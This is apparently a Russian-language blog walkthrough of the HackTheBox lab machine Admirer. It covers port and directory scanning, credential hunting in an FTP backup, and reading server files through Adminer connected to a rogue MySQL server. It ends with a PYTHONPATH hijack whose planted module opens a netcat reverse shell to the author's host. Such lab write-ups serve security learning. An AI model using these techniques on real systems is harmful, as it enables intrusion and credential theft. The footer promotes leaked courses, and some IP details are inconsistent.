![](https://habrastorage.org/webt/in/d2/mp/ind2mpikg9-uephntfyz9j7j3ew.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.
10.10.10.187 admirer.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500
![](https://habrastorage.org/webt/wx/jb/nj/wxjbnj-pwxttrnxiy_xps-i7who.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21
![](https://habrastorage.org/webt/a7/4-/8c/a74-8cw_zp-mpazcl4lqrjrq2c8.png)
Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись — директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг — сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
![](https://habrastorage.org/webt/z0/vk/co/z0vkcordrrcgchidt3wsjjnd59i.png)
И мы находим два файла: первый содержит адреса электронных почт, а второй — различные учетные данные.
![](https://habrastorage.org/webt/k1/js/eb/k1jsebkn1leh_zb8o0jrnjhjjqo.png)
![](https://habrastorage.org/webt/vj/-e/6f/vj-e6fjyfzdozdejocrer_yotre.png)
И среди учетных данных находим креды для FTP. И Удачно подключаемся.
![](https://habrastorage.org/webt/90/ky/fg/90kyfgo63jk9rrvordm_qqhguuc.png)
Осмотримся на сервере.
![](https://habrastorage.org/webt/i0/n0/g8/i0n0g8kgyonvr2tp8i90lqttyjo.png)
Давайте скачаем все файлы.
![](https://habrastorage.org/webt/ed/q0/bf/edq0bf_sn9ejidssgynn3b5hdte.png)
Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTML
mv html.tar.gz HTML/
cd HTML
tar -xf html.tar.gz
![](https://habrastorage.org/webt/h5/fh/_t/h5fh_tfoyqvrwdeydiw3uxv7fni.png)
Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.
![](https://habrastorage.org/webt/qq/td/8s/qqtd8sjte37yp-ur5z0ywjlnmhm.png)
Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.
![](https://habrastorage.org/webt/2b/zi/6b/2bzi6bwyabyjenk8c1jw6lme1f0.png)
Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./
![](https://habrastorage.org/webt/md/xg/ea/mdxgeai1w7ztc_eskojzozaabmc.png)
И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.
![](https://habrastorage.org/webt/cj/_3/lr/cj_3lrpy2cq97fe7mgvdoy6tiwm.png)
Но и они никуда не подошли.
Entry Point
При попытке выполнить неразрешенные на сайте задачи, получим отказ.
![](https://habrastorage.org/webt/vu/h2/mm/vuh2mmykuiwdmewtxdyo2vyuxgi.png)
![](https://habrastorage.org/webt/rg/ez/wf/rgezwflxlcgz1msamijci9ypo8y.png)
![](https://habrastorage.org/webt/xk/p0/bx/xkp0bx65g_inczf4ouxihufzy8a.png)
Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php
![](https://habrastorage.org/webt/iu/0c/oz/iu0coz3um4ldlj5b64usj2y1sdk.png)
И находим файл admirer.php.
![](https://habrastorage.org/webt/ow/ur/rw/owurrw-0yicrjnyci5pdu35rp_4.png)
Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.
Давайте запустим на локально хосте службу myqsl.
sudo service mysql start
sudo mysql -u root
И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';
![](https://habrastorage.org/webt/39/uw/vk/39uwvkxa5p3f6tsapj9e_bhh2gw.png)
Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.
![](https://habrastorage.org/webt/zi/vy/kh/zivykhsuzmxcvvnhbsa8emeg62c.png)
sudo service mysql restart
Авторизуемся от имени только что созданного пользователя.
![](https://habrastorage.org/webt/tv/uv/un/tvuvunqiuqfb-jmsumctz_hlxqe.png)
![](https://habrastorage.org/webt/35/io/jq/35iojqjz1phmqr3hiio56kpix7u.png)
USER
Давайте выберем нашу БД.
![](https://habrastorage.org/webt/wa/wz/lo/wawzlofwldv_tbyju42bv7obtng.png)
Далее создадим таблицу.
![](https://habrastorage.org/webt/ql/2v/gx/ql2vgxrx5iiz4nufoyf_ez-edfg.png)
И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'
into table admirerdb.admirertable
fields terminated by '\n'
![](https://habrastorage.org/webt/hn/kw/zc/hnkwzcfegaxklpa_yzouoddamk4.png)
Теперь перейдем к нашей созданной таблице.
![](https://habrastorage.org/webt/a0/zp/ax/a0zpax_pmzcfg15svhacaubstgc.png)
И найдем учетные данные.
![](https://habrastorage.org/webt/hy/tp/t4/hytpt4zmnvw1seafqftaiwkr0ly.png)
И с данным паролем мы успешно авторизуемся через SSH.
![](https://habrastorage.org/webt/80/iw/pe/80iwpeb2na4pzexjzjnkhyyt57y.png)
![](https://habrastorage.org/webt/aq/uf/ko/aqufkos3jstrgbpvbyhallzdppi.png)
![](https://habrastorage.org/webt/vq/ps/7q/vqps7qjixjdfe3qfzaszeq0bxve.png)
![](https://habrastorage.org/webt/sx/d_/kr/sxd_kracll0qpl6dumwyaobqtlw.png)
ROOT
Давайте проверим настройки sudo.
![](https://habrastorage.org/webt/6i/k1/20/6ik120mt7l4o7gfr0obk4fpx2yu.png)
Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.
![](https://habrastorage.org/webt/h_/zl/dp/h_zldpkcg6n2fo3sjwtgim61y5k.png)
И в самом скрипте указан неявный импорт.
![](https://habrastorage.org/webt/5a/to/ys/5atoysujfrcn48hj8gvpzx1-rgu.png)
Давайте посмотрим переменные окружения, нас интересуют пути python.
![](https://habrastorage.org/webt/wr/uz/iq/wruziqdsx938cq1oljph9hce53e.png)
Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():
import os
os.system('nc 10.10.15.110 4321 -e "/bin/sh"')
make_archive()
![](https://habrastorage.org/webt/fb/st/uk/fbstukcnwoxmfe5fmtkpkyz_5yy.png)
Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh
![](https://habrastorage.org/webt/5a/qf/wk/5aqfwkiraf7exntjb4sndvwnuc0.png)
И получаем бэкконнект шелл.
![](https://habrastorage.org/webt/99/fq/fw/99fqfwuegnkgj8tx1_l4xw76-fy.png)
У нас полный над данной машиной.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.